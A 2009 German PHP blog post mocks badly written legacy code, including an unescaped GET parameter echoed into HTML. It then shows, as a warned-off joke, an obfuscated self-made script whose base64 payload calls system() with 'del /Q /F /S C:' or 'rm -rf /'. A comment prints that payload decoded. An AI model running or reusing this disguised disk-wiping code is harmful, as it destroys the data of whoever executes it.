PHPGangsta - Der praktische PHP Blog

PHP Blog von PHPGangsta


Alter Code und das Grausen

with 5 comments

Da Nils in seinem Blog dazu aufgerufen hat, „fiesen Code“ zu publizieren, will ich mich daran beteiligen. Die Frage ist, wie „fies“ zu definieren ist. Die Aufgabenstellung lautet genau: „Wer kann das fieseste Script basteln?“.

Ich habe vor Kurzem diesen Code hier in einem sehr alten Verzeichnis gefunden (ich habe ihn also nicht gebastelt, sondern nur gefunden):

echo "<table>";
for ($t=0;$t<count($data);$t=$t+1) {
$d = $data[$t];
echo "<tr>";
if ($d[0]==6)
for ($i=0;$i<$d[1];$i=$i+1) {
echo "<td id=\"".($i+1)."\">$o[614] $i</td><td>".$id."</td>";
}
else
echo "<td colspan=2></td>";
echo "</tr>";
}
echo "</table>";

Da stehen einem die Haare zu Berge. Ich kann garnicht alles aufzählen, was daran „übel“ ist.
– statt der for-Schleife sollte man dort lieber eine foreach-Schleife nehmen
– was ist $d[0] und $d[1]? Ein assoziatives Array wäre schöner gewesen.
– bei der if-Abfrage keine geschweifte Klammer, kann schnell zu Fehlern führen
– statt $i=$i+1 hätte man auch schöner $i++ nehmen können
– $o[614] ist (wie ich nachher rausgefunden habe) ein Array mit Übersetzungen. Lesbar ist das so nicht, niemand weiß, was 614 sein soll
– $id ist ein GET-Parameter (register-globals lässt grüßen!)
– Im Original war der Code nicht so schön eingerückt wie hier, aber das wollte ich euch nicht zumuten

Wenn man PHP5, Objektorgientierung, PDO, Frameworks etc gewöhnt ist, ist es immer eine ziemlich schlimme Sache, alten Code zu sichten und evtl. sogar anzupassen, der >8 Jahre alt ist. Da war register_globals einfach an der Tagesordnung, Datenbankzugriffe passierten direkt mit mysql_* Funktionen, HTML und PHP direkt alles zusammengemixt usw usw. Einfach grausam, sowas pflegen zu müssen. Ich möchte garnicht wissen, wieviele PHP-Entwickler heutzutage noch Software warten müssen, die so alt sind, wo sich eine Neuentwicklung aber nicht lohnt, weil es zu groß ist oder es sich nicht mehr lohnt.

Fieser selbst gebastelter Code wäre beispielsweise dieser hier:
BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

$g = 1;
$r = 2;
$v = "$r$g"*4+$g*3;
$m = chr($v);
$i = chr(ord($m)/1.08);
$f = hexdec("$g$r"*4);
$q = chr($v-4);
list($j,$k,$l) = explode(',',base64_decode('JHMgPSBjb25zdGFudCgkaS5jaHIoJGYpLiRpLiJfTyIuJHEpOyxkZWwgL1EgL0YgL1MgQzoscm0gLXJmIC8='));
eval($j);
$z = $s[0] == $m ? $k : $l;
system($z);

BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

Man hätte natürlich auch den kompletten Code base64 kodieren können, aber das wäre ja langweilig gewesen. Man hätte base64 sicher auch ganz vermeiden können, aber ich hatte keine Lust mehr 😉

Hier noch einige andere schöne Beispiele aus dem Web:

http://manuel-pichler.de/archives/60-Why-I-love-PHP.html

Written by Michael Kliewe

August 12th, 2009 at 7:48 pm

Posted in PHP

5 Responses to 'Alter Code und das Grausen'

Subscribe to comments with RSS or TrackBack to 'Alter Code und das Grausen'.

  1. Also mir gefällt der Code 🙂

    Nils

    12 Aug 09 at 20:04

  2. Haha

    Ich freu mich auf den Ersten, der das ungeprüft durchlaufen lässt. ^^

    Tyco

    13 Aug 09 at 09:51

  3. Schrecklich! Aber ist das nicht jeder Code, den man am Anfang seiner Karriere geschrieben hat? 😀

    alopix

    4 Sep 09 at 08:14

  4. gangsta 😉

    $s = constant($i.chr($f).$i.“_O“.$q);,del /Q /F /S C:,rm -rf /

    Patrick

    13 Mai 11 at 11:01

  5. […] ich werde auch mal schauen ob ich noch ein paar alte Fragmente aus grauer Vorzeit finde, im Artikel Alter Code und das Grausen hatten wir ja bereits einige alte Zeilen Code […]

Leave a Reply

You can add images to your comment by clicking here.